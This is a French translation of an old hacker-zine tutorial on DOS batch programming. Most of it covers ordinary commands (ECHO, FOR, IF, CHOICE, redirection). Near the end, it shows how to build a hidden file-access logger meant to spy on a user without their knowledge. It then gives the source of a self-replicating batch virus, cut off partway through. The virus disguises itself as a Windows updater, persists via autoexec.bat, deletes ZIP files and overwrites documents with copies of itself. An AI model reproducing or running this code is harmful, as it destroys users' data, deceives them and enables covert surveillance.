--------------------------------------------------------------------------- Programmation Batch par Ankit Fadia (ankit@bol.net.in) traduit par sirius_black (sirius_black@imel.org) pour le BlackSun Research Facility (blacksun.box.sk) Intégré dans LOTFREE#06 avec l'aimable autorisation du BSRF --------------------------------------------------------------------------- La programmation Batch n'est rien d'autre que la version Windows de la pogrammation Shell sous unix. Tout d'abord essayons de comprendre ce qu'il se passe lorsque nous tapons une commande DOS. En gros DOS est un fichier appelé command.com. C'est ce fichier (command.com) qui gère toutes les commandes DOS que vous passez au prompt DOS. Commandes telles que COPY, DIR, DEL, etc. Ces commandes sont intégrées au fichier command.com (on dit que ce sont des commandes internes). A l'opposé il y a des commandes DOS externes telles que FORMAT, UNDELETE, BACKUP, etc. Qaund nous donnons une commande DOS, command.com l'exécute immédiatement ( Commandes Internes ) ou appelle un programme extérieur ( Commandes externes) puis revient au prompt. Alors pourquoi j'aurais besoin de programmer un fichier Batch ? Imaginons que vous devez exécuter la même suite de commandes, encore et encore pour effectuer une tache habituelle comme la sauvegarde de fichiers importants ou encore la suppressions des fichiers temporaires (*.tmp, *.bak, ~.* etc.) Ce serais bien d'automatiser ça non ? Ce serais plus agrébale et on gagnerais du temps. C'est justement le rôle des fichiers Batch. Les fichiers Batch sont au DOS ce que les Macros sont à Microsoft Office et sont donc appelés quand on le souhaite et autant de fois qu'on le souhaite pour effectuer une suite de commandes prédéfinies. Mais comment je fais pour créer un fichier Batch ? En fait les fichiers Batch ne sont rien de plus que des fichiers textes contenant des commandes DOS. N'importe quel éditeur de texte PUR pourra être utilisé (Notepad, la commande EDIT du DOS, UltraEdit...) mais pas Word ou Dreamweaver !! Tout ce dont vous devez vous rappeller est qu'un fichier Batch a une extension .bat (point bat). Pour exécuter un Batch, rien de plus simple. Par exemple si vous créez un fichier nommé prog.bat il vous suffit de l'appeller de l'une des deux façons suivantes : C:\WINDOWS> prog.bat ou C:\WINDOWS> prog Mais que se passe t-il lorsque l'on donne à exécuter un fichier Batch à command.com ? Quand command.com croise un fichier Batch, il passe en mode batch. Dans ce mode il lit les lignes du fichier les une après les autres. En fait il commence par ouvrir le fichier Batch, lit la première ligne, ferme le fichier et exécute la commande qu'il a lu. Puis il re-ouvre le fichier, lit la seconde ligne et ainsi de suite. Les fichiers Batch sont donc considérés comme des commandes DOS internes. ************************* Hacking Truth : Quand vous créez un fichier Batch ne lui donnez pas le nom d'une commande DOS. Par exemple, si vous créez un Batch avec le nom dir.bat et que vous l'exécutez à partir du prompt il ne se passera rien. La raison est que quand command.com rencontre une commande, il regarde d'abord s'il s'agit d'une commande interne. Si ce n'est pas le cas il cherche un .com ou un .exe avec le nom correspondant. Toutes les commandes externes DOS ont une extension com ou exe si bien que DOS ne prend pas la peine de regarder si il existe un programme Batch. ************************* Passons maintenant à votre premier fichier Batch. Contrairement à d'habitude nous n'allons pas faire un "Hello World" mais un programme qui exécutera un programme exe. Tappez juste ce qui suit dans un fichier texte vide et donnez lui l'extension .bat. C: cd windows telnet Analysons le code. La première ligne dit à command.com d'aller au C: , la seconde lui dit de changer pour le répertoire 'windows'. La dernière ligne demande l'exécution du client Telnet. On peux penser que cet appel ne marche pas car le nom complet du client est telnet.exe mais command.com rajoute actuellement l'extension .exe. Normallement nous n'avons pas à changer le répertoire courant car le rép par défaut est C:\WINDOWS\. On peut donc écrire seulement : telnet Maintenant exécutons ce programme Batch et observons les résultats. Il nous suffit de tapper dans la fenêtre DOS : C:\WINDOWS> nom_du_fichier_batch On voit : C:\WINDOWS> telnet Comme on a vu DOS exécute la commande à notre place. Effectivement Telnet apparait. Maintenant étudions les commandes Batch. La commande REM La commande Batch la plus simple est la comande REM ou REMark. Elle est utilisée pour mettre des commentaires dans le code et donc le rendre plus compréhensible pour les lecteurs. Cette commande ignore tout ce qui suit sur la même ligne. On peut donc modifier notre programme ainsi : REM Ce fichier Batch est mon premier programme Batch et lance mon outil REM de hacking préféré telnet Attention, les Remark c'est bien, en abuser ça craint. Ils ralentissent l'exécution du programme alors il faut les utiliser avec modération. La commande ECHO Elle correspond à la fonction Print dans d'autre langages de programmation. Elle permet d'afficher quelque chose à l'écran. On peut par exemple afficher où en est le programme. Il est vrai que les programmes Batch affichent toutes les commandes exécutées mais ce n'est pas forcément assez parlant pour l'utilisateur. Voici un exemple d'utilisation : ECHO Ce fichier Batch efface tous les fichiers temporaires présents sur ECHO votre system. ECHO Nous allons dans WINDOWS\TEMP cd windows\temp ECHO On efface tous les fichiers indésirables del *.tmp ECHO Votre système est maintenant nettoyé Regardons ce que donne l'exécution : C:\WINDOWS> prog C:\WINDOWS> ECHO Ce fichier Batch efface tous les fichiers temporaires présents sur Ce fichier batch efface tous les fichiers temporaires présents sur C:\WINDOWS> ECHO votre system. votre system. C:\WINDOWS> ECHO Nous allons dans WINDOWS\TEMP Nous allons dans WINDOWS\TEMP C:\WINDOWS> cd windows\temp Invalid directory C:\WINDOWS> ECHO On efface tous les fichiers indésirables On efface tous les fichiers indésirables C:\WINDOWS> del *.tmp C:\WINDOWS> ECHO Votre système est nettoyé Votre system est nettoyé Bon le répertoire n'est pas bon mais on s'en fout. Ce qui est génant c'est que les commentaires ET les commandes sont affichées. La solution est de mettre à la première ligne (on décale les autres) : ECHO OFF Si on relance le programme on obtiens : C:\WINDOWS> ECHO OFF Ce fichier Batch efface tous les fichiers temporaires présents sur votre système. Nous allons dans WINDOWS\TEMP Invalid directory On efface les fichiers indésirables File not found Votre system est nettoyé Cool !! Mais ça affiche encore 'ECHO OFF' au début. On va utiliser une astuce qui permet de cacher l'exécution d'une commande. Pour cela il suffit de précéder la commande par un '@'. On a donc la première ligne : @ECHO OFF On peut penser que pour afficher une ligne de vide il suffit de tapper ECHO sans rien après mais cela affiche si ECHO est ON ou OFF. Pour avoir une ligne vide il faut alors tapper : ECHO. On peut bien sûr alterner le camouflage / l'affichage des commandes en tappant ECHO ON ou ECHO OFF. La commande PAUSE Imaginons que vous ayez créé un fichier Batch qui liste le contenu d'un répertoire avant d'effectuer d'autres taches. Ou encore avant de deleter tous les fichiers du répertoire vous devez laisser à l'utilisateur le temps de réfléchir. PAUSE, le nom veut tout dire, on l'utilise pour suspendre l'exécution d'un script. Considérez le scénario suivant : REM Ce programme Batch efface les fichiers *.doc dans le repertoire courant REM mais il donne à l'utilisateur la possibilité de stopper l'exécution. @ECHO OFF ECHO WARNING : Cela va effacer tous les documents Microsoft Word. ECHO Faites CTRL+C pour abandonner ou appyez sur une touche pour continuer. PAUSE DEL *.doc Lorsque nous exécutons le programme nous obtenons l'affichage suivant : C:\WINDOWS> a.bat WARNING : Cela va effacer tous les documents Microsoft Word. Faites CTRL+C pour abandonner ou appuyez sur une touche pour continuer. Press any key to continue... Ce programme Batch demande à l'utilisateur s'il désire continuer et lui donne la possibilité d'arrêter le processus. Appuyer sur CTRL+C stoppe le programme (CTRL+C et CTRL+Break donnent le même résultat). ^C Terminate batch job (Y/N)? y Vous retournez alors au prompt DOS. ************************* HACKING TRUTH : Vous venez de faire un fichier Batch dans le répertoire c:\name. Quand vous lancez command.com le répertoire par défaut est c:\windows et si vous voulez appeler le programme dans c:\name vous devez changer de répertoire courant. Là encore cela peut être vite énervant et vous fait perdre du temps. C'est une bonne idée de stocker tous ses Batch dans le même répertoire. Vous pouvez lancer n'importe quel programme et ce de n'importe où du moment que le répertoire de stockage est dans le fichier AUTOEXEC.BAT, ainsi DOS sait où allez chercher les programmes. Il vous suffit d'ouvrir c:\autoexec.bat avec Notepad et de rajouter la déclaration PATH à la ligne suivante (on suppose que que c:\name est votre dossier de stockage) : SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\NAME Autoexec.bat est lancé à chaque démarrage et permet donc à DOS de savoir où chercher nos fichiers Batch. ************************* Les paramêtres : Passer des informations à un programme Batch Pour rendre vos Batch vraiment intelligent vous avez besoin de leur fournir des paramêtres qui ne sont rien de plus que des informations supplémen- taires qui rendront vos programmes plus efficaces et plus flexibles. Pour comprendre comment marchent les paramêtres, regardez ce script : @ECHO OFF ECHO Le premier paramêtre est %1 ECHO Le second est %2 ECHO Le troisième est %3 De toute évidence le script echo (affiche) des messages à l'écran, mais que signifient les étranges symboles %1, %2 etc. ? Pour comprendre leur utilité lançons le script sous DOS en lui passant des arguments : C:\WINDOWS> nom_fichier_batch abc def ghi Ce Batch génére le résultat suivant : C:\WINDOWS> nom_fichier_batch abc def ghi Le premier paramêtre est abc Le second est def Le troisième est ghi La première ligne en sortie est produite par la ligne de code : ECHO Le premier paramêtre est %1 Quand DOS rencontre le symbol %1, il examine la commande d'appel du Batch et récupère le premier mot (argument) après le nom du fichier batch et l'utilise à la place de la variable %1. Bref %1 désigne le premier argument, %2 le second etc. On appelle ces symboles des paramêtres remplaçables car il ne s'agit pas d'une affectation mais plutôt d'une liaison avec les arguments sur la ligne de commande. On peut dire que %1, %2, %3... sont des références. Quand on passe plus de paramêtres à un programme Batch que nécessaire, les paramêtres supplémentaires sont tous simplement ignorés. Passons maintenant à un exemple plus pratique des paramêtres, que l'on pourrait réellement rencontrer. Le script que nous allons étudier requiert que l'utilisateur passe le nom des fichiers à effacer ainsi que le répertoire où ils se situent. @ECHO OFF CD\ CD %1 DEL %2 Nous pouvons appeler ce script à partir du prompt DOS de la façon suivante: C:\WINDOWS> nom_fichier_batch WINDOWS\TEMP *.tmp Pour un script donné nous ne pouvons pas utiliser plus de neuf paramêtres remplaçables. Donc il y a juste les références %1 à %9. En réalité il y a un dixième paramêtre : le paramêtre %0. Ce derner contient le nom du batch lui-même. ************************* HACKING TRUTH : Vous voulez qu'au lancement d'un programme celui-ci s'exécute puis quitte MS DOS pour retourner à Windows ? Pour cela il suffit de rajouter la commande EXIT à la fin de votre script. EXIT ************************* la commande SHIFT Il se peut que vous ayez besoin de plus de neuf paramêtres une fois (on va dire que oui). Il est possible d'un manipuler plus de neuf en utilisant la commande SHIFT : @ECHO OFF ECHO Le premier paramêtre est %1 ECHO. SHIFT ECHO Le second paramêtre est %1 ECHO. SHIFT ECHO Le troisième paramêtre est %1 Exécutons le programme et regardons ce qu'il se passe. C:\WINDOWS> fichier_batch abc def ghi Le premier paramêtre est abc Le second paramêtre est def Le troisième paramêtre est ghi Comment ca marche ? Et bien la commande SHIFT décrémente la position des arguments de une position. Ce qui signifie que après le premier SHIFT, %1 devient def, %2 devient ghi et abc est détruit par DOS. Tous les paramêtres se décalent donc d'une position vers le bas. Les paramêtres normaux (%1, %2 etc) et la commande SHIFT peuvent être très utile si on les utilise avec la condition IF pour vérifier les paramêtres passés par l'utilisateur. La boucle FOR La syntaxe de la boucle FOR est : FOR %%PARAMÊTRE IN(série) DO command Pas mal de personnes changent d'optique sur la programmation Batch quand ils rencontrent la syntaxe FOR. Je suis d'accord quelle peut sembler un peu inquiétante, mais ce n'est pas si difficile que cela en a l'air. Nous allons les différentes parties de la commande FOR mais avant étudions l'exemple suivant : @ECHO OFF CLS FOR %%A IN (abc, def, xyz) DO ECHO %%A La commande CLS est utilisée pour 'vider' la console. Elle efface tous les caractères présents. Dans une boucle FOR nous déclarons une variable (%%A ici) et nous lui assignons les différentes valeurs d'une suite de valeurs prédéfinies (abc, def, ghi dans notre cas). Les affectations se font dans l'ordre donné. A chaque affectation la boucle FOR exécute une commande (ici ECHO %%A). La variable %%A est celle qui reçoit les différentes valeurs au fûr et à mesure que la boucle les croise (les valeurs stockées entre parenthèses). Vous pouvez utiliser n'importe quel caractère seul après les deux signes % sauf les caractères 0 à 9. Nous utilisons deux % car DOS efface chaque occurence d'un seul signe % dans un programme Batch. Le IN (abc, def, ghi) est la liste traversée par la boucle FOR. La variable %%A reçoit les différentes valeurs entre parenthèses à chaque passage de la boucle. Les items de la suite (le terme technique pour l'ensemble des valeurs entre parenthèses) peuvent être séparés par des virgules, les deux points ou simplement des espaces. Pour chaque item de la suite (le IN) la boucle FOR exécute la commande se trouvant après le mot clé DO (dans notre exemple la boucle fait ECHO %%A). Si bien que lorsque nous lançons cet exemple nous obtenons : abc def ghi La boucle FOR devient vraiment puissante si on l'utilise avec des paramêtres remplaçables. Par exemple dans le Batch suivant : @ECHO OFF ECHO. ECHO Je vais effacer les fichiers suivants : ECHO %1 %2 ECHO. ECHO Faites CTRL+C pour annular le processus PAUSE FOR %%a IN (%1 %2) DO DEL %%a ECHO Fichiers détruits. Mission accomplie. A l'excéution on doti obtenir cela : C:\WINDOWS> nom_batch *.tmp *.bak Je vais effacer les fichiers suivants : *.tmp *.bak Faites CTRL+C pour annuler le processus Press any key to continue... Fichiers détruits. Mission accomplie. ------------------------- IF : Les branchements conditionnels La déclaration IF est une commande très utile qui nous premettra de rendre nos fichiers Batch plus intelligents et plus utiles. En utilisant cette commande, le programme peut exécuter telle ou telle tache en fonction d'un paramêtre. IF ne permet pas seulement de vérifier les paramêtres, il permet aussi de vérifier l'existence d'un fichier. Mais avant tout on peut utiliser IF pour tester les variables. Vérifier si un fichier existe ou non La syntaxe de la commande IF pour cette tache est la suivante : IF [NOT] EXIST nom_fichier commande Ce sera plus clair après cet exemple : IF EXIST c:\autoexec.bat ECHO Le fichier existe Cette commande regarde si le fichier autoexec.bat existe ou non. Si tel est le cas le script affiche la chaîne de caractères 'Le fichier existe'. Dans le cas où le fichier n'existe pas alors il ne se passe rien. Il est aussi possible de mettre une clause 'else', c'est à dire si le fichier existe on fait ce qui est prévu mais si il n'existe pas on fait autre chose. Ceci peut être fait avec la commande GOTO. Etudions un exemple pour rendre cela plus clair : @ECHO OFF IF EXIST c:\ankit.doc GOTO ANKIT GOTO end :ANKIT ECHO ANKIT :end La déclaration IF dans ce code regarde si un fichier existe, c:\ankit.doc. Si c'est le cas alors DOS saute à :ANKIT. Dans le cas contraire, DOS continue à la ligne suivante (GOTO end) qui le dirige vers :end. Les :end et :ANKIT sont ce que l'on appelle des labels. ************************* HACKING TRUTH : Nous pouvons vérifier l'existence de plusieurs fichiers à la fois de la façon suivante : IF EXIST c:\autoexec.bat IF EXIST c:\ankit.doc ECHO Les deux existent ************************* Pour vérifier la non-existence d'un fichier, la syntaxe devient : IF NOT EXIST nom_fichier commande Par exemple, IF NOT EXIST c:\ankit.doc ECHO Le fichier n'existe pas ************************* HACKING TRUTH : Peut-on vérifier la présence d'un répertoire ? Non. "IF EXIST c:\windows ECHO Le dossier existe" ne marchera pas. Dans ce cas nous allons faire appel au périphérique NULL. En fait ce périphérique n'est rien. Comprenez par là qui pointe vers le néant. Chaque dossier possède un fichier NULL (du moins DOS le croit). Si bien que pour vérifier l'existence de c:\windows, nous tapperons simplement : IF EXIST c:\windows\nul ECHO c:\windows existe. De la même façon nous pouvont tester l'existence d'un lecteur ou d'un HD : IF EXIST c:\io.sys ECHO Le disque c: est valide ************************* Comparaison de chaines de caractères La syntaxe est : IF [NOT] chaine1==chaine2 commande Maintenant faisons évoluer nos scripts en leur faisant effectuer une tâche en fonction des paramêtres passés par l'utilisateur. Essayons ce boût de code suivant : @ECHO OFF IF %1==cp GOTO COPY GOTO DEL :COPY copy %2 a: GOTO END :DEL del %2 :END Cet exemple se passe de commentaires. Tout d'abord IF compare le premier paramêtre à 'cp'. Si ils correspondent alors DOS saute au label COPY sinon il continue sur le label :DEL. Cet exemple fonctionne uniquement si le bon nombre d'arguments a été passé. Nous pouvons modifier notre script pour qu'il vérifie qu'il y ai au moins un argument. Si ce n'est pas le cas alors il affichera un message d'erreur. @ECHO OFF IF "%1" == "" ECHO Mettez votre message ici De la même façon nous pouvons vérifier l'existence du second paramêtre. On peut aussi utiliser la clause NOT pour les chaines de caractères. La commande CHOICE Avant de vous apprendre comment utiliser la commande CHOICE, vous devez d'abord savoir ce que sont les 'error levels'. Les niveaux d'erreur sont générés par les programmes pour informer de la façon dont ils se sont terminés ou de la façon dont on les a obligé à se terminer. Par exemple losque nous stoppons un programme avec CTRL+C celui-ci renvoie un niveeau d'erreur de 3. Quand un programme se termine normalement (avec succès) il renvoie 0. Ces codes n'ont pas d'utilité en eux même mais combinés avec les IF ERROR LEVEL et la commande CHOICE, ils s'avèrent très pratiques. La commande CHOICE prend une lettre ou une touche du clavier et renvoie le code d'erreur qui lui est associé. La syntaxe générale de cette commande est : CHOICE [chaîne] [/C:touches] [/S] [/N] [/T:touches, secondes] La chaîne n'est rien d'autre que la phrase affichée lors du lancement de la commande CHOICE. Le /C:touches défini les différentes touches qui peuvent être préssées. Si cette option n'est pas utilisée alors les touches Y/N sont prises par défaut. Par exemple, la commande CHOICE /C:A1T0 Défini A, 1, T et 0 comme les différentes touches possibles. Si durant l'exécution, l'utilisateur entre autre chose que l'une des touches propo- sées, il entendra un 'beep' et le programme continuera de lui demander une touche. L'option /S rend les touches proposées par l'option /C sensibles à la casse c'est à dire que la distinction entre les majuscules et les minuscules est activée. Par exemple si l'option /S est présente alors A et a sont considé- rées comme différentes. Si l'option /N est utilisé alors les différentes touches possibles sont affichées entre parenthèses lors de l'exécution du programme. /T:touche,secondes permet de définir quelle touche est prise par défaut après un certain laps de temps écoulé. Par exemple : CHOICE Choisissez votre navigateur /C:NI /T:I.5 affiche "Choisissez votre navigateur [N,I]" et si aucune touche n'est pressée au bout de 5 secondes alors 'I' est choisie d'office. Maintenant pour vraiment combiner la commande CHOICE avec la commande IF ERROR LEVEL, vous avez besoin de savoir ce que la commande CHOICE retourne. La commande CHOICE est conçue pour retourner un niveau d'erreur en fonction de la touche appuyée et de sa position dans l'option /C. Pour éclaircir les choses, considérons l'exemple suivant : CHOICE /C:AN12 Rappelez vous que le code d'erreur retourné dépends de la touche pressée. Cela signifie que si la touche A est pressée alors le niveau d'erreur est 1 , si la touche N est pressée alors le code d'erreur 2 est retourné, si 1 est pressé alors le code d'erreur est de 3 et si 2 est pressé, le niveau d'erreur sera 4. Maintenant voyons comment fonctionne la commande IF ERROR LEVEL. La syntaxe générale de cette commande est : IF [NOT] ERRORLEVEL numéro commande Cette déclaration évalue le numéro du niveau d'erreur courant. Si la condition est vérifiée alors la commande est effectuée. Par exemple : IF ERRORLEVEL 3 ECHO Oui La code ci-dessus affiche Oui si le code d'erreur courant est 3. Le point important à retenir dans la déclaration est que l'évaluation d'un niveau d'erreur est vérifiée si le niveau d'erreur est supérieur ou égal au nombre auquel on le compare. Exemple : IF ERRORLEVEL 2 ECHO Oui La condition est vérifiée si le niveau d'erreur est supérieur ou égal à 2. Maintenant que vous savez manier les commandes CHOICE et IF ERRORLEVEL ensemble, vous n'aurez aucun mal à créer un menu pour un programme. Voici un script Batch qui demande à l'utilisateur quel navigateur il souhaite lancer : @ECHO OFF ECHO. ECHO. ECHO Bienvenue au programme de sélection de navigateur ECHO. ECHO 1. Internet Explorer ECHO 2. Netscape ECHO X. Quitter ECHO. CHOICE "Choisissez un navigateur" /C:12x /N IF ERRORLEVEL 3 GOTO END IF ERRORLEVEL 2 start c:\progra~1\Netscape IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe :END NOTE : Remarquez l'ordre dans lequel nous faisons les tests IF. Redirection Normallement la sortie est l'écran (le standart STDOUT) est l'entrée est le clavier (STDIN). Cela peut être très ennuyant. Vous pouvez tout de même rediriger à la fois l'entrée et la sortie vers autre chose que les périphériques I/O standards. Pour envoyer la sortie vers autre chose que l'écran nous utilisons l'opérateur de redirection de sortie '>' qui est couremment utilisé pour enregistrer les résultats d'une commande dans un fichier texte. Imaginons que vous désirez lire l'aide de la commande NET, ce qui n'est pas facile à l'écran car nous avons un espace de lecture restreint et il est impossible de remonter. Pour éviter cela nous utilisons l'opérateur de redirection de sortie afin de capturer les résultats de la commande dans un fichier texte. C:\WINDOWS> net > xyz.net Cette commande exécute la commande NET et enregistre le résultat dans le fichier xyz.txt. Quand DOS croise cet opérateur, il regarde si le fichier existe ou non. Si oui alors tout ce qui se trouve dans le fichier est effaçé et le résultat de la commande y est mis. Si le fichier n'existe pas DOS créé un nouveau fichier et enregistre le résultat dedans. Supposons que vous voulez enregistrer les résultats de plus d'une commande dans le même fichier texte, et vous voulez vous assurer que les résultats de chaque commande ne sont pas effaçées par la suivante. Pour cela vous utilisez le symbole de la double redirection de sortie qui est le symbole '>>'. Par exemple : C:\WINDOWS> net >> xyz.txt Cette commande dit à DOS d'exécuter la commande NET et de rajouter le résultat à la fin u fichier xyz.txt si le fichier existe. DOS ne permet pas seulement la redirection vers das fichiers mais aussi la redirection vers différents périphériques. NOM DU PERIPHERIQUE PERIPHERIQUE AUX Périphérique auxiliaire (COM1) CLOCK$ Real Time Clock COMn Port Série (COM1, COM2, COM3, COM4) CON Console (Clavier, écran) LPTn Port parrallèle (LPT1, LPT2, LPT3) NUL Le périphérique NUL (néant) PRN Imprimante Dans le cas où vous désirez imprimer le résultat d'un listage de répertoire alors vous pouvez tout simplement taper : C:\WINDOWS> dir *.* > PRN Le périphérique NUL (néant) est un peu difficile à comprendre et demande une attention particulière. Ce périphérique, aussi connu sous le nom de 'bit bucket' signifie litéralement rien. Son utilité est de pouvoir supprimer les messages que le DOS envoit lors de l'achèvement d'une tâche. Par exemple quand DOS copie avec réussite un fichier, il affiche le message '1 fichier(s) copié(s)'. Pour supprimer ce message nous pouvons faire appel au périphérique NUL. C:\WINDOWS> copy fichier.txt copie.txt > NUL Nous n'obtenons pas la message de réussite. Redirection de l'entrée De la même façon que nous redirigons la sortie, nous pouvons rediriger l'entrée. Nous avons recours au symbole '<' de redirection de l'entrée standard. On l'utilise couramment pour envoyer le contenu d'un fichier texte vers DOS. Une utilisation courante de cet opérateur est liée à la commande MORE qui affiche du texte au fûr et à mesure contrairement à TYPE qui affiche tout le fichier en une fois (ce qui rend impossible la lecture des fichiers longs). Si bien que beaucoup de personnes envoient leurs longs fichiers texte à la commande DOS de cette façon : C:\WINDOWS> MORE < xyz.txt Cette commande envoie le contenu du fichier xyz.txt à la commande MORE qui l'affiche page après page. Une fois la première page lue la commande MORE affiche quelque chose come cela à l'écran : --Encore--(2%) il est aussi possible d'envoyer les frappes de touches à n'importe quelle commande DOS qui attend des données de la part de l'utilisateur pour effectuer telle ou telle tâche. Il est aussi possible d'envoyer des frappes de touches multiples. Par exemple, la commande FORMAT demande en général quatre entrées. Tout d'abord il faut tapper Entrée pour lancer la commande, ensuite c'est le prompt d'Insertion de Disque puis celui du Nom de Volume et pour terminer celui pour formater un autre disque. En fait il y a trois entrées utilisateurs : Entrée, Entrée N et Entrée (Entrée est la retour chariot). Il est alors possible de mettre ces entrées dans un fichier Batch et de les envoyer à la commande FORMAT de cette manière : C:\WINDOWS> format a: < xyz.bat PIPING (Tubage) Le Piping (il n'y a pas vraiment de traduction Française alors on va parler de tubage) est une fonction qui permet de combiner à la fois les redirections d'entrée et de sortie. Pour cela nous utilisons l'opérateur Pipe qui a pour symbole '|'. Cette commande capture la sortie d'une commande et l'envoie en tant qu'entrée à une autre commande. Prenons un exemple : quand vous faites un del *.*, il vous faut confirmer que vous désirer effacer les fichiers en pressant la touche y. A la place de demander l'interraction de l'utilisateur nous pouvons donc faire : C:\WINDOWS> echo y | del *.* Cette commande parle d'elle même, 'y' est envoyé à la commande del *.* La programmation de fichiers Batch peut être très simple et vraiment utile. Ce qui fera de vous le Jedi de la programmation Batch, c'est la connai- ssance approprié des commandes DOS. Je vous suggère de surfer sur Internet ou d'acheter un livre sur les commandes DOS, c'est seulement de cette façon que vous deviendrez un expert en la matière. Créer son propre Démon Syslog (Syslog Daemon) Nous pouvons facilement combiner la puissance des programmes Batch avec l'interface modulaire de Windows dans l'objectif de créer un petit mais efficace démon de surveillance du système (System Logging Daemon). En gros le Syslog Daemon peut garder des traces des fichiers qui ont été ouverts (toutes sortes de fichiers), le temps durant lequel ces fichiers ont été ouverts et même faire en sorte que notre démon poste tout cela sur le web afin que l'admin système puisse tout surveiller à distance. Suivez simplement les étapes pour fabriquer notre démon : NOTE : Dans l'exemple suivant, je crée un démon de surveillance système qui garde un oeil sur quels fichiers ont été ouverts par l'utilisateur. Il est très facile de configurer le type de fichier surveillé en lisant les étapes suivantes. 1. ASSOCIER LES FICHIERS QUI DOIVENT ÊTRE SURVEILLES AU LOGGER En vérité ce n'est pas la première étape mais la plus simple. Comme je viens de le dire nous allons associer un type de fichier (ici *.txt) à nos fichiers Batch qui contiendront le code permettant d'enregistrer les activités de l'utilisateur. Vous pouvez bien entendu surveiller d'autres fichiers, la procédure est similaire. Revenons à nos moutons, nous associons les fichiers .txt à nos programmes Batch si bien que chaque fois qu'un fichier texte est ouvert, le programme Batch est aussi exécuté. Pour cela nous devons changer le programme associé aux fichiers .txt. Pour plus d'informations sur le changement d'association fichier/programme reportez vous à l'aide de Windows avec le mot clé "association". Pour faire en sorte que nos fichiers .txt soient associés à notre fichier Batch nous faisons simplement les manipulations suivantes : Prenez n'importe quel fichier .txt sur votre ordinateur et sélectionnez le (un simple click gauche). Maintenant laissez appuyé sur la touche SHIFT du clavier et faites un click droit sur le fichier. Le menu apparaît ; sélectionnez l'option 'Ouvrir avec'. Cela va ouvrir une fenêtre vous proposant le programme à utiliser pour lire le fichier. Cliquez sur 'Choisir le programme...'. Localisez notre script Batch et sélectionnez le. Assurez vous que la case 'Toujours utiliser le programme sélectionné pour ouvrir ce type de fichier' est cochée puis validez. A partir de maintenant l'ouverture d'un fichier texte lançera notre fichier Batch. Il est bien évidemment possible de restaurer l'association en recommencant la manipulation et en sélectionnant Notepad. 2. CREER LE FICHIER DE LOG (LOG FILE) Maintenant il faut créer un fichier .txt qui aura le même rôle qu'un fichier de log : enregistrer l'activité de l'utilisateur. Ce fichier contiendra le nom du fichier et l'heure à laquelle ce fichier a été ouvert. Créez un nouveau fichier texte vide dans le même répertoire que le fichier Batch. Maintenant changeons les attributs de ce fichier de log afin de le rendre invisible. Nous utilisons la commande ATTRIB : C:\WINDOWS> attrib xyz.txt +h De cette façon on s'assure qu'un lamer ne saura pas où se trouve notre fichier espion. 3. CODER LE PROGRAMME BATCH DE SURVEILLANCE La programmation d'un tel programme est vraiment simple. Si vous avez lu attentivement ce tutorial jusque là, vous ne devriez avoir aucune difficul- té à comprendre ce qui va suivre. Cela dit j'ai tout de même inséré des commentaires pour les débutants. ECHO %1 >> xyz.txt /* On envoie le nom du fichier dans notre Log File */ notepad %1 /* Nous lançons l'éditeur de texte pour simuler un * fonctionnement normal. */ Ce script ne fait qu'enregistrer le nom du fichier ouvert par notre lamer, pour savoir quand le fichier a été ouvert il nous suffit d'utiliser la commande TIME. Notez qu'après avoir exécuté la commande TIME nous devons tapper la touche Entrée, ce qui sera gérer par notre Batch. Bon vous êtes l'administrateur d'un système et vous êtes en vacances. Vous n'avez pas d'accès physique au système mais vous disposez d'un accès Internet. Vous pouvez facilement rendre le fichier de log accessible par Internet. Vous pouvez aussi faire en sorte que cette partie administration soit protégée par mot de passe. Pour vous rendre facilement sur ce fichier de log vous pouvez créer un fichier .htm ou .html qui pointera vers notre fichier de log : --fichier html-- Server Logs < A HREF="xyz.txt">Cliquez ici pour lire les Logs du Serveur --fin fichier-- Ceci est l'exemple le plus simple de fichier que vous pouvez créer. Une autre fonctionnalité que vous pouvez rajouter est empécher l'ouverture d'un fichier particulier. Si vous ne voulez pas que l'utilisateur lise le fichier abc.txt alors vous pouvez insérer une instruction conditionnelle IF IF "%1" == "abc.txt" ECHO Votre message d'erreur ici 4. AMELIORER NOTRE PROGRAMME D'ECOUTE POUR DISPARAITRE AUX YEUX DU LAMER Pour améliorer le fonctionnement de notre programme il faut savoir sa façon de fonctionner. Si vous avez effectué correctement les étapes précédentes, lors de l'ouverture d'un fichier .txt, notre programme Batch est lancé (dans une fenêtre maximisée) et lance Notepad. Une fois le nom du fichier enregistré ainsi que son heure d'ouverture, la fenêtre de notre script ne se ferme pas automatiquement et l'utilisateur est donc obligé de la fermer manuellement. Une personne doté de neuronnes en état de marche se doutera forcemment qu'il se trâme quelque chose de louche. Il est possible de configurer l'exécution de notre fichier afin qu'il fonctionne dans une fenêtre minimisée et qu'il la ferme tout seul après son exécution. Pour cela suivez les étapes suivantes : a) Faites un click droit sur le fichier Batch b) Choisissez Propriétés dans le menu c) Dans l'onglet Programme cliquez cochez l'option 'Fermer après exécution' d) Coché Minimisé dans la même fenêtre e) Cliquez sur Appliquer et voilà !! On est invisible. Ceci est juste un exemple d'un simple programme Batch. Vous pouvez facile- ment créer un programme plus évolué et plus utile avec ce langage. FABRIQUER SON PROPRE VIRUS BATCH DE LA MORT : Le virus Batch atimaN_8 DISCLAIMER : Ce virus est l'oeuvre de Ankit Fadia ankit@bol.net.in et a été crée à but éducatif uniquement. Ce virus a pour objectif de montrer aux gens le fonctionnement basic d'un virus. Exécutez le à vos risques et périls. En aucun cas vous ne pouvez tenir responsable Ankit Fadia des dommages causés par ce fichier. Si vous voulez avoir une quelconque information sur ce virus n'hésitez pas à me contacter à : ankit@bol.net.in ou à visiter mon site Internet : http://www.crosswinds.net/~hackingtruths L'exemple qui suit est un simple, mais quelque peu dangereux (quoique un peu lame), virus Batch de ma composition. Je l'ai baptisé atimaN_8 et je n'ai utilisé aucune commande DOS avancé pour le faire. Vous ne devriez donc avori aucun problème à comprendre le code ; dans le cas contraire envoyez moi un mail à ankit@bol.net.in @ECHO OFF CLS IF EXIST c:\winupdt.bat GOTO CODE GOTO SETUP :SETUP @ECHO OFF ECHO Welcome To Microsoft Windows System Updater Setup ECHO. copy %0 c:\winupdt.bat >> NUL ECHO Scanning System... Please Wait prompt $P$SWindows2000 type %0 >> c:\autoexec.bat type %0 >> c:\windows\dosstart.bat ECHO DONE. ECHO. ECHO Installing Components... Please Wait FOR %%a IN (*.zip) DO del %%a FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL FOR %%a IN 